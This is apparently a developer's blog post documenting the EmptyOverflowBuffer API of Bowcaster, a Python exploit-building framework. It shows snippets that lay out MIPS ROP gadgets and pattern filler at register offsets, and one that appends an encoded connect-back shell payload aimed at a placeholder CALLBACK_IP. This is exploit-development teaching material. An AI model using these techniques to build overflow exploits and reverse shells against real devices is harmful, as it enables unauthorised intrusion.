When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows. The OverflowBuffer class works the way I think. But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.
Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern. You then start replacing parts of your buffer with things like ROP gadgets and shellcode.
Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like. I couldn't reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.
OverflowBuffer and EmptyOverflowBuffer each have their advantages. OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order. I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.
If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.
Here's an example of creating an EmptyOverflowBuffer instance:
from bowcaster.development.overflowbuilder import EmptyOverflowBuffer from bowcaster.common.support import LittleEndian badchars=['\0',0x0d,'\n',0x20] buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)
With this class, we have no need for the SectionCreator object, since there is no notion of "replacement sections". Also note the optional 'max_length' parameter. Omitting this parameter will mean you can grow your exploit buffer to arbitrary length. If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.
There are three types of sections you can add: a string, a pattern section, or a ROP gadget. You may add an arbitrary string using the add_string() method. For example, you may want to append a long string of 'A's, or your shellcode string.
Adding a pattern section using add_pattern() creates pattern sequence of the specified length. Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset. This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.
Here's an example of what I mean:
>>> buf1.add_pattern(8) >>> buf1.add_pattern(12) >>> print buf1 Aa0Aa1Aa2Aa3Aa4Aa5Aa >>> buf2.add_pattern(6) >>> buf2.add_string("A"*8) >>> buf2.add_pattern(6) >>> print buf2 Aa0Aa1AAAAAAAA4Aa5Aa
Above, two buffers are created of length 20. The second one has a section of 8 'A's in the middle. However, the sub-sequence 'a5Aa' is at the end of both. This consistent sequence alignment helps with exploit debugging.
To add a ROP gadget, use the add_rop_gadget() method. You can specify and optional 'base_address=' parameter if the base address for this gadget's library is different than the default base provided to the constructor.
Another thing to note about this API is that pattern sections are specified in terms of length, not offset. The offset is implicit; it is simply the buffer's current length. So if you know offsets into your buffer from where data will get loaded into various registers, you'll need to compute the length of the pattern filler's in between.
Here's an example:
#first function epilogue ra=528 #second function epilogue s0=620 s2=628 buf.add_pattern(ra) #$ra loaded from offset 528 buf.add_rop_gadget(0x31b44, description="[$ra] function epilogue that sets up $s1-$s7") buf.add_pattern(s0-buf.len()) buf.add_rop_gadget(0x506c0, description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") buf.add_pattern(s2-buf.len()) buf.add_rop_gadget(0x427a4, description="[$s2] placeholder, derefed without crashing.")
In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded. We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers. This differs from the combination of SectionCreator and OverflowBuffer where you don't specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.
There is an advantage to this method. This API only allows you to to append sections one after another, so there's no way to have overlapping sections. As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.
Adding a payload is essentially the same. Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here's an example:
payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars) buf.add_pattern(shellcode_return-buf.len()) buf.add_string(encoded_payload.shellcode, description="encoded connect back payload")
The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.
